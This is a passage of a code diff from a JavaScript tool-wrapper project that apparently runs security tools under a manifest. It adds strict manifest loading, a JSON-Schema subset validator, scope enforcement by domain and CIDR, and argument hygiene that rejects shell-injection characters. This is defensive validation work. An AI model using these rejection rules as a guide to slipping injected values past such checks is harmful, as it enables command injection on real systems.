(const [key, value] of Object.entries(table)) { + const keyPath = path === "" ? key : `${path}.${key}`; + if (!allowed.has(key)) { + unknown.push(keyPath); + continue; + } + if (isTable(value)) { + walkTable(value, section === "" ? key : `${section}.${key}`, keyPath, unknown); + } + } + return; + } + + // A section keyed by author-chosen names: check each entry's contents. + const named = `${section}.`; + if (SECTION_KEYS.has(named)) { + for (const [name, value] of Object.entries(table)) { + if (isTable(value)) { + walkTable(value, named, `${path}.${name}`, unknown); + } + } + return; + } + + // Open map or opaque data: not walked. +} + +function takeBool(table, section, key, fallback) { + const value = table[key]; + if (value === undefined) return fallback; + if (typeof value !== "boolean") { + throw new Error(`Invalid manifest: ${section}.${key} must be a boolean`); + } + return value; +} + +function takeInt(table, section, key, fallback) { + const value = table[key]; + if (value === undefined) return fallback; + if (!Number.isInteger(value)) { + throw new Error(`Invalid manifest: ${section}.${key} must be an integer`); + } + return value; +} + +function requireTable(value, section) { + if (value !== undefined && !isTable(value)) { + throw new Error(`Invalid manifest: ${section} must be a table`); + } + return value; +} + +/** + * Load and parse a .clad.toml manifest file. Always strict: an unknown key in + * any section is a load error. * @param {string} path - Path to the .clad.toml file * @returns {object} Parsed manifest object */ export function loadManifest(path) { + return loadManifestWithOptions(path, {}); +} + +/** + * Load a manifest with loader options. Library callers should use + * `loadManifest`; this entry point exists for the CLI's `--allow-unknown-keys` + * escape hatch. + * + * @param {string} path - Path to the .clad.toml file + * @param {object} [options] + * @param {boolean} [options.allowUnknownKeys=false] - Downgrade unknown keys + * from a load error to a warning on stderr + * @param {object} [options.customTypes] - Custom type map (loadCustomTypes) to + * use instead of discovering `toolclad.toml`: `TOOLCLAD_CONFIG_FILE` if set + * (an unreadable path is an error), else `toolclad.toml` searched upward + * from the manifest's directory. Absent means no custom types. + * @returns {object} Parsed manifest object + */ +export function loadManifestWithOptions(path, options = {}) { const content = readFileSync(path, "utf-8"); + return parseManifest(content, dirname(resolve(path)), options); +} + +/** + * Load a manifest from TOML source text. Same checks as `loadManifest` + * (strict unless `allowUnknownKeys` is set); `toolclad.toml` and + * `scope/scope.toml` are discovered upward from `options.baseDir`, which + * defaults to the current working directory. + * + * @param {string} content - The .clad.toml source + * @param {object} [options] - See loadManifestWithOptions, plus + * @param {string} [options.baseDir=process.cwd()] - Directory discovery starts from + * @returns {object} Parsed manifest object + */ +export function loadManifestFromString(content, options = {}) { + return parseManifest(String(content), resolve(options.baseDir ?? process.cwd()), options); +} + +function parseManifest(content, baseDir, options) { + const { allowUnknownKeys = false } = options; const manifest = TOML.parse(content); + // Key check runs on the raw parse result, before any structural validation, + // so a typo cannot be masked by a default and every unknown key is reported. + const unknown = findUnknownKeys(manifest); + if (unknown.length > 0) { + const messages = unknown.map((key) => `unknown key '${key}' in manifest`); + if (!allowUnknownKeys) { + throw new Error(messages.join("; ")); + } + for (const message of messages) { + console.warn(`warning: ${message}`); + } + } + if (!manifest.tool || !manifest.tool.name) { throw new Error(`Invalid manifest: missing [tool] section or tool.name`); } + const tool = manifest.tool; // Default and validate dispatch mode. - const dispatch = manifest.tool.dispatch ?? "exec"; + const dispatch = tool.dispatch ?? "exec"; if (dispatch !== "exec" && dispatch !== "callback") { throw new Error( `Invalid manifest: invalid dispatch '${dispatch}', must be 'exec' or 'callback'` ); } - manifest.tool.dispatch = dispatch; + tool.dispatch = dispatch; + + // tool.mode is advisory: when absent it follows the backend section present. + if (tool.mode === undefined) { + tool.mode = manifest.session ? "session" : manifest.browser ? "browser" : "oneshot"; + } else if (!TOOL_MODES.includes(tool.mode)) { + throw new Error( + `Invalid manifest: invalid tool.mode '${tool.mode}', must be one of ${TOOL_MODES.join(", ")}` + ); + } + + // timeout_seconds defaults to 60; zero or negative is a load error. + timeoutSeconds(manifest); + + // Keys registered ahead of the waves that enforce them: accept them, check + // their shape, and give them inert defaults. + tool.network_egress = takeBool(tool, "tool", "network_egress", false); + tool.allow_interpreter = takeBool(tool, "tool", "allow_interpreter", false); + if (requireTable(tool.evidence, "tool.evidence")) { + tool.evidence.screenshots = takeBool(tool.evidence, "tool.evidence", "screenshots", false); + } + if (requireTable(tool.limits, "tool.limits")) { + for (const key of LIMIT_KEYS) { + takeInt(tool.limits, "tool.limits", key, undefined); + } + } + if (requireTable(manifest.output, "output")) { + // 1..=1 GiB, default 8 MiB; a custom parser is refused (TC-12, TC-14). + try { + manifest.output.max_bytes = outputMaxBytes(manifest); + checkOutputParser(manifest); + } catch (err) { + throw new Error(`Invalid manifest: ${err.message}`); + } + } + if (requireTable(manifest.http, "http")) { + // No interpolation into the scheme or host; literal host policy; header + // names are tokens (TC-16). + try { + checkHttpDefinition(manifest); + } catch (err) { + throw new Error(`Invalid manifest: ${err.message}`); + } + } + + // Per-argument policy keys. `block_internal` is a real field with a false + // default so the validator reads one value per argument instead of + // guessing; `schemes` must be a list so the url allowlist never iterates + // a string. + if (requireTable(manifest.args, "args")) { + for (const [name, def] of Object.entries(manifest.args)) { + const section = `args.${name}`; + if (!isTable(def)) { + throw new Error(`Invalid manifest: ${section} must be a table`); + } + def.block_internal = takeBool(def, section, "block_internal", false); + def.scope_check = takeBool(def, section, "scope_check", false); + if (def.scope_check && BUILTIN_TYPES.has(def.type) && !SCOPE_CHECK_TYPES.includes(def.type)) { + throw new Error( + `Invalid manifest: ${section}: scope_check is not supported for type '${def.type}'` + ); + } + if ( + def.schemes !== undefined && + (!Array.isArray(def.schemes) || + !def.schemes.every((scheme) => typeof scheme === "string")) + ) { + throw new Error( + `Invalid manifest: ${section}.schemes must be an array of strings` + ); + } + } + } const isCallback = dispatch === "callback"; @@ -34,7 +335,7 @@ export function loadManifest(path) { const hasBrowser = !!manifest.browser; if (!hasHttp && !hasMcp && !hasSession && !hasBrowser) { - if (!manifest.tool.binary && !(manifest.command && manifest.command.executor)) { + if (!tool.binary && !(manifest.command && manifest.command.executor)) { throw new Error( `Invalid manifest: must specify tool.binary, command.executor, [http], [mcp], [session], or [browser] (or set tool.dispatch = "callback" for validator-only manifests)` ); @@ -53,35 +354,234 @@ export function loadManifest(path) { } } + // Compile [command] into its canonical exec form: tokenize a legacy + // template, tokenize conditionals, check end_of_options, and verify every + // placeholder names a declared variable. + if (manifest.command) { + compileCommand(manifest); + } + + // Egress lint on every load. compileCommand already applied it to a + // [command] manifest; an [http] / [browser] manifest may have no [command] + // at all and is an egress manifest by definition. + lintNetworkEgress(manifest); + + // Every declared type must be a built-in or a custom type from + // toolclad.toml; then the checks that need the custom types (egress lint + // with custom bases resolved, defaults, scope_check on custom types). + const customTypes = + options.customTypes !== undefined && options.customTypes !== null + ? checkCustomTypeMap(options.customTypes, "customTypes option") + : discoverCustomTypes(baseDir); + checkArgTypes(manifest, customTypes); + validateManifestWithCustomTypes(manifest, customTypes); + + // Recorded for scope discovery (scope/scope.toml is searched upward from + // here); hidden so it never shows up in serialization or key walks. + Object.defineProperty(manifest, MANIFEST_DIR, { + value: baseDir, + enumerable: false, + }); + return manifest; } /** - * Load custom type definitions from a toolclad.toml file. + * Refuse any `[args.].type` (including the args of `[session.commands.*]` + * and `[browser.commands.*]`) that is neither built-in nor a custom type. + * @param {object} manifest + * @param {object} customTypes + */ +function checkArgTypes(manifest, customTypes) { + const check = (args) => { + if (!isTable(args)) return; + for (const [name, def] of Object.entries(args)) { + if (!isTable(def)) continue; + const type = def.type; + if (BUILTIN_TYPES.has(type)) continue; + if (typeof type === "string" && Object.hasOwn(customTypes, type)) continue; + throw new Error(`Invalid manifest: unknown type '${type}' for argument '${name}'`); + } + }; + check(manifest.args); + for (const section of ["session", "browser"]) { + const commands = manifest[section] && manifest[section].commands; + if (!isTable(commands)) continue; + for (const cmd of Object.values(commands)) { + if (isTable(cmd)) check(cmd.args); + } + } +} + +/** + * Find and load `toolclad.toml`: `TOOLCLAD_CONFIG_FILE` first (an unreadable + * path is an error), else `toolclad.toml` searched upward from `startDir` to + * the filesystem root. No file means no custom types. + * @param {string} [startDir=process.cwd()] + * @returns {object} Custom type map (empty when no file exists) + */ +export function discoverCustomTypes(startDir) { + const env = process.env.TOOLCLAD_CONFIG_FILE; + if (env !== undefined && env !== "") { + return loadCustomTypes(resolve(env)); + } + let dir = resolve(startDir ?? process.cwd()); + for (;;) { + const candidate = join(dir, "toolclad.toml"); + if (existsSync(candidate)) { + return loadCustomTypes(candidate); + } + const parent = dirname(dir); + if (parent === dir) return {}; + dir = parent; + } +} + +/** + * Validate every declared `[args.].default` through the strict pipeline: + * a default that fails its own type is a manifest bug and a load error. + * Custom types are checked when the custom type map is supplied. + * @param {object} manifest + * @param {object} [customTypes] + */ +function validateArgDefaults(manifest, customTypes) { + for (const [name, def] of Object.entries(manifest.args || {})) { + if (def.default === undefined) continue; + if (!BUILTIN_TYPES.has(def.type) && !(customTypes && Object.hasOwn(customTypes, def.type))) { + continue; + } + if (def.type === "string" && def.default === "") continue; + try { + validateDefaultValue(def, def.default, customTypes); + } catch (err) { + throw new Error(`Invalid manifest: args.${name}.default is invalid: ${err.message}`); + } + } +} + +/** + * Manifest checks that need the custom type map, run after loading: the + * egress lint with custom types resolved, so an egress manifest whose + * network target is declared through a custom type is refused (a custom + * type definition cannot carry `block_internal`). Every loader runs it with + * the discovered (or supplied) custom types; it is exported for embedders + * that build a manifest in memory. + * + * @param {object} manifest - A loaded or in-memory manifest + * @param {object} customTypes - Map from loadCustomTypes + * @returns {object} The same manifest + */ +export function validateManifestWithCustomTypes(manifest, customTypes) { + if (manifest.command) { + compileCommand(manifest); + } + lintNetworkEgress(manifest, customTypes || {}); + validateArgDefaults(manifest, customTypes || {}); + for (const [name, def] of Object.entries(manifest.args || {})) { + const custom = customTypes && Object.hasOwn(customTypes, def.type) ? customTypes[def.type] : null; + if (def.scope_check === true && custom && !SCOPE_CHECK_TYPES.includes(custom.base)) { + throw new Error( + `Invalid manifest: args.${name}: scope_check is not supported for type '${def.type}'` + ); + } + } + // Argument validation (execute, dry run, HTTP, MCP) uses this map. + Object.defineProperty(manifest, CUSTOM_TYPES, { + value: customTypes || {}, + enumerable: false, + writable: true, + configurable: true, + }); + return manifest; +} + +/** + * Load custom type definitions from a toolclad.toml file. Strict: an unknown + * top-level key or `[types.]` key is refused, and every `base` must be a + * built-in type (a custom type cannot build on another custom type). * @param {string} path - Path to toolclad.toml * @returns {object} Map of type name to custom type definition */ export function loadCustomTypes(path) { - const content = readFileSync(path, "utf-8"); - const config = TOML.parse(content); + let content; + try { + content = readFileSync(path, "utf-8"); + } catch (err) { + throw new Error(`cannot read custom type file ${path}: ${err.message}`); + } + let config; + try { + config = TOML.parse(content); + } catch (err) { + throw new Error(`${path}: ${err.message}`); + } + for (const key of Object.keys(config)) { + if (key !== "types") { + throw new Error(`${path}: unknown key '${key}' in toolclad.toml`); + } + } + if (config.types !== undefined && !isTable(config.types)) { + throw new Error(`${path}: types must be a table`); + } + try { + return checkCustomTypeMap(config.types || {}, path); + } catch (err) { + throw new Error(err.message.startsWith(path) ? err.message : `${path}: ${err.message}`); + } +} +/** + * Validate and normalize a custom type map (from toolclad.toml or supplied + * by an embedder). + * @param {object} raw + * @param {string} where - Source named in error messages + * @returns {object} Normalized map + */ +function checkCustomTypeMap(raw, where) { + if (!isTable(raw)) { + throw new Error(`${where}: custom types must be a table`); + } const types = {}; - if (config.types) { - for (const [name, def] of Object.entries(config.types)) { - if (!def.base) { - throw new Error(`Custom type '${name}' missing required 'base' field`); + for (const [name, def] of Object.entries(raw)) { + if (!isTable(def)) { + throw new Error(`${where}: types.${name} must be a table`); + } + for (const key of Object.keys(def)) { + if (!CUSTOM_TYPE_KEYS.has(key)) { + throw new Error(`${where}: unknown key 'types.${name}.${key}' in toolclad.toml`); } - types[name] = { - base: def.base, - allowed: def.allowed || undefined, - pattern: def.pattern || undefined, - min: def.min ?? undefined, - max: def.max ?? undefined, - min_float: def.min_float ?? undefined, - max_float: def.max_float ?? undefined, - }; } + if (BUILTIN_TYPES.has(name)) { + throw new Error(`${where}: custom type '${name}' shadows a built-in type`); + } + if (!def.base) { + throw new Error(`Custom type '${name}' missing required 'base' field`); + } + if (!BUILTIN_TYPES.has(def.base)) { + throw new Error( + `Custom type '${name}' has base '${def.base}', which is not a built-in type` + ); + } + if (def.allowed !== undefined && (!Array.isArray(def.allowed) || !def.allowed.every((v) => typeof v === "string"))) { + throw new Error(`${where}: types.${name}.allowed must be an array of strings`); + } + if (def.pattern !== undefined && typeof def.pattern !== "string") { + throw new Error(`${where}: types.${name}.pattern must be a string`); + } + for (const key of ["min", "max", "min_float", "max_float"]) { + if (def[key] !== undefined && typeof def[key] !== "number") { + throw new Error(`${where}: types.${name}.${key} must be a number`); + } + } + types[name] = { + base: def.base, + allowed: def.allowed || undefined, + pattern: def.pattern || undefined, + min: def.min ?? undefined, + max: def.max ?? undefined, + min_float: def.min_float ?? undefined, + max_float: def.max_float ?? undefined, + }; } - return types; } diff --git a/js/src/schema.js b/js/src/schema.js new file mode 100644 index 0000000..b4676cc --- /dev/null +++ b/js/src/schema.js @@ -0,0 +1,172 @@ +/** + * A small JSON-Schema subset validator used to check parsed tool output + * against `[output.schema]`. No dependency; the supported keywords are: + * + * type (one name or an array of names), properties, required, + * additionalProperties (boolean only), items (a single sub-schema), enum, + * minimum, maximum, minLength, maxLength, pattern. + * + * Unknown keywords are ignored. `integer` accepts any number with no + * fractional part (so `30.0` is an integer). `pattern` is anchored like every + * other pattern in ToolClad (`^(?:pat)$`). The whole document is walked in + * document order and the first failure is reported as + * `": "`, with the root rendered as `/`. + */ + +import { anchorPattern } from "./validator.js"; + +const TYPE_NAMES = new Set([ + "object", "array", "string", "number", "integer", "boolean", "null", +]); + +function isObject(value) { + return value !== null && typeof value === "object" && !Array.isArray(value); +} + +/** The JSON type name of a value (`integer` is reported as `number`). */ +function jsonTypeOf(value) { + if (value === null) return "null"; + if (Array.isArray(value)) return "array"; + if (typeof value === "number") return "number"; + if (typeof value === "string") return "string"; + if (typeof value === "boolean") return "boolean"; + if (typeof value === "object") return "object"; + return typeof value; +} + +function matchesType(value, name) { + switch (name) { + case "object": + return isObject(value); + case "array": + return Array.isArray(value); + case "string": + return typeof value === "string"; + case "number": + return typeof value === "number" && Number.isFinite(value); + case "integer": + return typeof value === "number" && Number.isInteger(value); + case "boolean": + return typeof value === "boolean"; + case "null": + return value === null; + default: + return false; + } +} + +/** Describe a value's type for an error message, preferring `integer`. */ +function describeType(value) { + if (typeof value === "number" && Number.isInteger(value)) return "integer"; + return jsonTypeOf(value); +} + +function deepEqual(a, b) { + if (a === b) return true; + if (Array.isArray(a)) { + return Array.isArray(b) && a.length === b.length && a.every((v, i) => deepEqual(v, b[i])); + } + if (isObject(a) && isObject(b)) { + const ka = Object.keys(a); + const kb = Object.keys(b); + return ka.length === kb.length && ka.every((k) => Object.hasOwn(b, k) && deepEqual(a[k], b[k])); + } + return false; +} + +/** Escape one JSON-pointer reference token (RFC 6901). */ +function pointerToken(token) { + return String(token).replace(/~/g, "~0").replace(/\//g, "~1"); +} + +function fail(pointer, message) { + return `${pointer === "" ? "/" : pointer}: ${message}`; +} + +function walk(schema, value, pointer) { + if (!isObject(schema)) return null; + + if (schema.type !== undefined) { + const names = Array.isArray(schema.type) ? schema.type : [schema.type]; + const known = names.filter((n) => TYPE_NAMES.has(n)); + if (known.length > 0 && !known.some((n) => matchesType(value, n))) { + return fail(pointer, `expected ${known.join(" or ")}, got ${describeType(value)}`); + } + } + + if (Array.isArray(schema.enum)) { + if (!schema.enum.some((member) => deepEqual(member, value))) { + return fail(pointer, `value ${JSON.stringify(value)} is not one of the allowed values`); + } + } + + if (typeof value === "number") { + if (typeof schema.minimum === "number" && value < schema.minimum) { + return fail(pointer, `${value} is less than the minimum ${schema.minimum}`); + } + if (typeof schema.maximum === "number" && value > schema.maximum) { + return fail(pointer, `${value} is greater than the maximum ${schema.maximum}`); + } + } + + if (typeof value === "string") { + const length = [...value].length; + if (typeof schema.minLength === "number" && length < schema.minLength) { + return fail(pointer, `string is shorter than ${schema.minLength} characters`); + } + if (typeof schema.maxLength === "number" && length > schema.maxLength) { + return fail(pointer, `string is longer than ${schema.maxLength} characters`); + } + if (typeof schema.pattern === "string") { + let re; + try { + re = new RegExp(anchorPattern(schema.pattern), "u"); + } catch { + return fail(pointer, `schema pattern is not a valid regular expression: ${schema.pattern}`); + } + if (!re.test(value)) { + return fail(pointer, `string does not match pattern ${schema.pattern}`); + } + } + } + + if (isObject(value)) { + if (Array.isArray(schema.required)) { + for (const name of schema.required) { + if (!Object.hasOwn(value, name)) { + return fail(pointer, `missing required property '${name}'`); + } + } + } + const props = isObject(schema.properties) ? schema.properties : {}; + for (const [key, child] of Object.entries(value)) { + const childPointer = `${pointer}/${pointerToken(key)}`; + if (Object.hasOwn(props, key)) { + const err = walk(props[key], child, childPointer); + if (err) return err; + } else if (schema.additionalProperties === false) { + return fail(childPointer, "additional property is not allowed"); + } + } + } + + if (Array.isArray(value) && isObject(schema.items)) { + for (let i = 0; i < value.length; i++) { + const err = walk(schema.items, value[i], `${pointer}/${i}`); + if (err) return err; + } + } + + return null; +} + +/** + * Validate `value` against `schema`. + * + * @param {object} schema - A JSON-Schema subset document + * @param {*} value - The parsed value to check + * @returns {string|null} `": "` for the first failure, or null + */ +export function validateJsonSchema(schema, value) { + return walk(schema, value, ""); +} diff --git a/js/src/scope.js b/js/src/scope.js new file mode 100644 index 0000000..a08d56a --- /dev/null +++ b/js/src/scope.js @@ -0,0 +1,305 @@ +/** + * Scope enforcement. + * + * An argument with `scope_check = true` (types `scope_target`, `url`, + * `ip_address`, `cidr`) is held to the project scope file, + * `scope/scope.toml`: + * + * [scope] + * allowed_domains = ["example.com", "*.example.com"] + * allowed_cidrs = ["10.0.1.0/24"] + * blocked_domains = [] + * blocked_cidrs = [] + * + * Discovery: the path in `TOOLCLAD_SCOPE_FILE` (an unreadable path is an + * error, never a fallback), else `scope/scope.toml` searched upward from the + * manifest's directory (the process cwd for an in-memory manifest). + * + * Matching: blocked rules first and they always win; `example.com` matches + * that host exactly (case-insensitive); `*.example.com` matches a strict + * subdomain at any depth, never the apex and never a plain string suffix + * (`evil-example.com`); an IP matches a CIDR that contains it; a CIDR + * matches only an allowed CIDR that fully contains it (and is blocked by any + * blocked CIDR it overlaps). No match is a refusal, and so is a missing + * scope file (fail closed). + */ + +import { readFileSync, existsSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import TOML from "@iarna/toml"; +import { + parseCanonicalIp, + parseCidr, + ipInRange, + prefixesOverlap, + toIpv4Mapped, + toIpv4MappedPrefix, +} from "./hostpolicy.js"; + +/** Argument types that honor `scope_check = true`. */ +export const SCOPE_CHECK_TYPES = Object.freeze(["scope_target", "url", "ip_address", "cidr"]); + +/** The scope file key allowlist: exactly `[scope]` and its four lists. */ +const SCOPE_LIST_KEYS = Object.freeze([ + "allowed_domains", + "allowed_cidrs", + "blocked_domains", + "blocked_cidrs", +]); + +export const NO_SCOPE_FILE_MESSAGE = + "scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)"; + +const NORMALIZED = Symbol("toolclad.scope"); + +const DOMAIN_LABEL_RE = /^[a-z0-9-]+$/; + +function validDomainRule(rule) { + const body = rule.startsWith("*.") ? rule.slice(2) : rule; + if (body.length === 0) return false; + return body.split(".").every((label) => DOMAIN_LABEL_RE.test(label)); +} + +/** + * Build a scope definition from a `[scope]` table. Rules are checked here so + * a malformed scope file fails at load rather than silently matching nothing. + * @param {object} table - The `[scope]` table (snake_case lists) + * @param {string} [source="scope"] - Where the table came from, for messages + * @returns {object} Normalized scope definition + */ +export function makeScope(table, source = "scope") { + if (table === null || typeof table !== "object" || Array.isArray(table)) { + throw new Error(`${source}: [scope] must be a table`); + } + for (const key of Object.keys(table)) { + if (!SCOPE_LIST_KEYS.includes(key)) { + throw new Error(`${source}: unknown key 'scope.${key}' in scope file`); + } + } + const lists = {}; + for (const key of SCOPE_LIST_KEYS) { + const value = table[key] ?? []; + if (!Array.isArray(value) || !value.every((v) => typeof v === "string")) { + throw new Error(`${source}: scope.${key} must be an array of strings`); + } + lists[key] = value; + } + const domains = (key) => + lists[key].map((rule) => { + if (!validDomainRule(rule)) { + throw new Error( + `${source}: invalid domain rule '${rule}' in scope.${key} (lowercase letters, digits, '.', '-', optional leading '*.')` + ); + } + return rule; + }); + const cidrs = (key) => + lists[key].map((text) => { + const range = parseCidr(text); + if (range === null) { + throw new Error(`${source}: invalid CIDR '${text}' in scope.${key}`); + } + return { text, range }; + }); + return Object.freeze({ + [NORMALIZED]: true, + source, + allowed_domains: Object.freeze(domains("allowed_domains")), + blocked_domains: Object.freeze(domains("blocked_domains")), + allowed_cidrs: Object.freeze(cidrs("allowed_cidrs")), + blocked_cidrs: Object.freeze(cidrs("blocked_cidrs")), + }); +} + +function normalize(scope) { + return scope && scope[NORMALIZED] === true ? scope : makeScope(scope); +} + +/** + * Load and validate a scope file. Unknown keys, a malformed CIDR and a bad + * domain rule are load errors. + * @param {string} path + * @returns {object} Normalized scope definition + */ +export function loadScopeFile(path) { + let content; + try { + content = readFileSync(path, "utf-8"); + } catch (err) { + throw new Error(`cannot read scope file '${path}': ${err.message}`); + } + const doc = TOML.parse(content); + for (const key of Object.keys(doc)) { + if (key !== "scope") { + throw new Error(`${path}: unknown key '${key}' in scope file`); + } + } + return makeScope(doc.scope ?? {}, path); +} + +/** + * Find and load the scope file: `TOOLCLAD_SCOPE_FILE` first (an unreadable + * path is an error), else `scope/scope.toml` searched upward from `startDir`. + * @param {string} [startDir=process.cwd()] - The manifest's directory + * @returns {object|null} Normalized scope definition, or null if none exists + */ +export function discoverScope(startDir) { + const env = process.env.TOOLCLAD_SCOPE_FILE; + if (env !== undefined && env !== "") { + return loadScopeFile(resolve(env)); + } + let dir = resolve(startDir ?? process.cwd()); + for (;;) { + const candidate = join(dir, "scope", "scope.toml"); + if (existsSync(candidate)) { + return loadScopeFile(candidate); + } + const parent = dirname(dir); + if (parent === dir) return null; + dir = parent; + } +} + +/** Hidden property loadManifest sets to the manifest file's directory. */ +export const MANIFEST_DIR = Symbol.for("toolclad.manifestDir"); + +const manifestScopes = new WeakMap(); + +/** + * The scope for a manifest, discovered from its source directory (the cwd + * for an in-memory manifest) and cached per manifest object so the file is + * read at most once per load. Null when no scope file exists. + * @param {object} manifest + * @returns {object|null} + */ +export function scopeForManifest(manifest) { + if (manifestScopes.has(manifest)) return manifestScopes.get(manifest); + const scope = discoverScope(manifest[MANIFEST_DIR]); + manifestScopes.set(manifest, scope); + return scope; +} + +/** + * True if the IP literal `ip` lies in the range `cidr`. False when either + * fails to parse or the families differ (an IPv4-mapped IPv6 address is + * compared against an IPv4 range as its IPv4 address). + * @param {string} ip + * @param {string} cidr + * @returns {boolean} + */ +export function ipInCidr(ip, cidr) { + const addr = parseCanonicalIp(String(ip)); + const range = parseCidr(String(cidr)); + if (addr === null || range === null) return false; + return addrInRange(addr, range); +} + +function addrInRange(addr, range) { + if (ipInRange(addr, range)) return true; + if (range.ip.family === 4 && addr.family === 6) { + const v4 = toIpv4Mapped(addr); + return v4 !== null && ipInRange(v4, range); + } + return false; +} + +/** True if `inner` lies entirely inside `outer`. */ +function cidrContains(outer, inner) { + let candidate = inner; + if (outer.ip.family === 4 && inner.ip.family === 6) { + candidate = toIpv4MappedPrefix(inner); + if (candidate === null) return false; + } + return candidate.prefix >= outer.prefix && prefixesOverlap(outer, candidate); +} + +function cidrOverlaps(rule, subject) { + let candidate = subject; + if (rule.ip.family === 4 && subject.ip.family === 6) { + candidate = toIpv4MappedPrefix(subject); + if (candidate === null) return false; + } + return prefixesOverlap(rule, candidate); +} + +/** + * True if `host` matches the domain rule `pattern`: an exact rule matches + * the host case-insensitively; `*.suffix` matches a strict subdomain of + * `suffix` at any depth (a label boundary, never the apex). + * @param {string} host + * @param {string} pattern + * @returns {boolean} + */ +export function hostMatchesRule(host, pattern) { + const h = String(host).toLowerCase(); + const p = String(pattern).toLowerCase(); + if (p.startsWith("*.")) { + const suffix = p.slice(1); + return h.length > suffix.length && h.endsWith(suffix); + } + return h === p; +} + +/** + * Enforce the scope on a subject: a hostname, an IP literal or a CIDR. + * @param {string} subject - The host (for a url) or the value itself + * @param {object|null|undefined} scope - A scope definition; null/undefined + * is the fail-closed refusal + * @throws {Error} when the subject is out of scope or no scope exists + */ +export function checkScope(subject, scope) { + if (scope === null || scope === undefined) { + throw new Error(NO_SCOPE_FILE_MESSAGE); + } + const s = normalize(scope); + const value = String(subject); + const outOfScope = () => new Error(`target '${value}' is not in scope`); + + const ip = parseCanonicalIp(value); + if (ip !== null) { + if (s.blocked_cidrs.some((r) => addrInRange(ip, r.range))) throw outOfScope(); + if (s.allowed_cidrs.some((r) => addrInRange(ip, r.range))) return; + throw outOfScope(); + } + const cidr = value.includes("/") ? parseCidr(value) : null; + if (cidr !== null) { + if (s.blocked_cidrs.some((r) => cidrOverlaps(r.range, cidr))) throw outOfScope(); + if (s.allowed_cidrs.some((r) => cidrContains(r.range, cidr))) return; + throw outOfScope(); + } + if (s.blocked_domains.some((rule) => hostMatchesRule(value, rule))) throw outOfScope(); + if (s.allowed_domains.some((rule) => hostMatchesRule(value, rule))) return; + throw outOfScope(); +} + +/** + * True if the host of `url` is in a scope whose allowed domains are + * `allowedHosts`. The url is not otherwise validated here. + * @param {string} url + * @param {string[]} allowedHosts + * @returns {boolean} + */ +export function urlHostInScope(url, allowedHosts) { + const str = String(url); + const idx = str.indexOf("://"); + if (idx === -1) return false; + const rest = str.slice(idx + 3); + const end = rest.search(/[/?#]/); + let authority = end === -1 ? rest : rest.slice(0, end); + if (authority.includes("@")) return false; + let host; + if (authority.startsWith("[")) { + const close = authority.indexOf("]"); + if (close === -1) return false; + host = authority.slice(1, close); + } else { + const colon = authority.indexOf(":"); + host = colon === -1 ? authority : authority.slice(0, colon); + } + try { + checkScope(host, { allowed_domains: allowedHosts }); + return true; + } catch { + return false; + } +} diff --git a/js/src/validator.js b/js/src/validator.js index 483ddbc..4bac613 100644 --- a/js/src/validator.js +++ b/js/src/validator.js @@ -1,4 +1,17 @@ import { existsSync, statSync } from "node:fs"; +import { promises as dns } from "node:dns"; +import { + parseCanonicalIp, + parseCidr, + parseIpv6, + enforceIpPolicy, + enforceCidrPolicy, + embeddedIpv4Literal, + internalNameReason, + looksLikeIpLiteral, + hasPunycodeLabel, +} from "./hostpolicy.js"; +import { checkScope, SCOPE_CHECK_TYPES } from "./scope.js"; /** * Shell metacharacters that indicate injection attempts. @@ -18,22 +31,356 @@ export function checkInjection(value) { } } +/** + * Types whose validated value is passed to the tool as free-form text. + * They receive the full value-hygiene pass (NUL, control characters, + * quotes/backslash, whitespace, leading dash) before type-specific parsing. + */ +const STRING_DERIVED_TYPES = new Set([ + "string", + "path", + "credential_file", + "regex_match", + "url", + "scope_target", + "duration", + "msf_options", +]); + +/** Numeric types: the leading-dash rule is applied to the parsed output. */ +const NUMERIC_TYPES = new Set(["integer", "number", "port"]); + +const LEADING_DASH_MESSAGE = + "must not start with '-' or '+' (set allow_leading_dash = true to permit)"; + +/** + * Anchor a manifest `pattern` so it must match the whole value: strip one + * leading `^` and one trailing unescaped `$`, then wrap in `^(?:...)$`. + * @param {string} pattern + * @returns {string} Anchored pattern source + */ +export function anchorPattern(pattern) { + let p = String(pattern); + if (p.startsWith("^")) p = p.slice(1); + if (endsWithUnescapedDollar(p)) p = p.slice(0, -1); + return `^(?:${p})$`; +} + +function endsWithUnescapedDollar(p) { + if (!p.endsWith("$")) return false; + let backslashes = 0; + for (let i = p.length - 2; i >= 0 && p[i] === "\\"; i--) backslashes++; + return backslashes % 2 === 0; +} + +function compilePattern(pattern) { + return new RegExp(anchorPattern(pattern)); +} + +function startsWithDash(str) { + return str.startsWith("-") || str.startsWith("+"); +} + +/** + * Value hygiene for string-derived types. Rules run in a fixed order; the NUL + * rule is applied to every type by the caller before this runs. + */ +function checkValueHygiene(str, argDef, type, execMode) { + // Rule 2: every C0 control (tab, newline, CR included), DEL, and the C1 + // range. Unconditional: allow_whitespace never relaxes it. + for (const ch of str) { + const cp = ch.codePointAt(0); + if (cp < 0x20 || (cp >= 0x7f && cp <= 0x9f)) { + throw new Error("must not contain control characters"); + } + } + // Rule 3: quotes and backslash. scope_target keeps its specific message. + if (type === "scope_target" && str.includes("\\")) { + throw new Error( + `scope_target must not contain backslash escape sequences: ${str}` + ); + } + if (/['"\\]/.test(str)) { + throw new Error("must not contain quote or backslash characters"); + } + // Rule 4: whitespace. Only the ASCII space U+0020 can ever be permitted: + // msf_options needs it as its KEY VALUE separator, and other types may opt + // in with allow_whitespace, honored only when the manifest declared exec + // directly (never for url). Every other whitespace character (U+00A0, + // U+2000-200A, U+2028, U+2029, U+3000, ...) is a homoglyph, not a separator. + if (/\s/.test(str)) { + const spaceOk = + type === "msf_options" || + (type !== "url" && argDef.allow_whitespace === true && execMode === true); + if (!spaceOk || /[^\S ]/.test(str)) { + throw new Error("must not contain whitespace"); + } + } + // Rule 5: leading dash. + if (startsWithDash(str) && argDef.allow_leading_dash !== true) { + throw new Error(LEADING_DASH_MESSAGE); + } +} + +const SCALAR_VALUE_TYPES = new Set(["string", "number", "boolean", "bigint"]); + +function runValidation(handler, type, argDef, value, opts) { + const { execMode = false } = opts; + // Only scalars are argument values. An array or object would otherwise be + // stringified by the handlers ("a,b", "[object Object]") or, for a + // prototype-less object, crash the conversion with a TypeError. + if (!SCALAR_VALUE_TYPES.has(typeof value)) { + const kind = value === null ? "null" : Array.isArray(value) ? "array" : typeof value; + throw new Error(`value must be a string, number or boolean (got ${kind})`); + } + const str = String(value); + // Rule 1: NUL is rejected for every type, enum and numerics included. + if (str.includes("\0")) { + throw new Error("must not contain 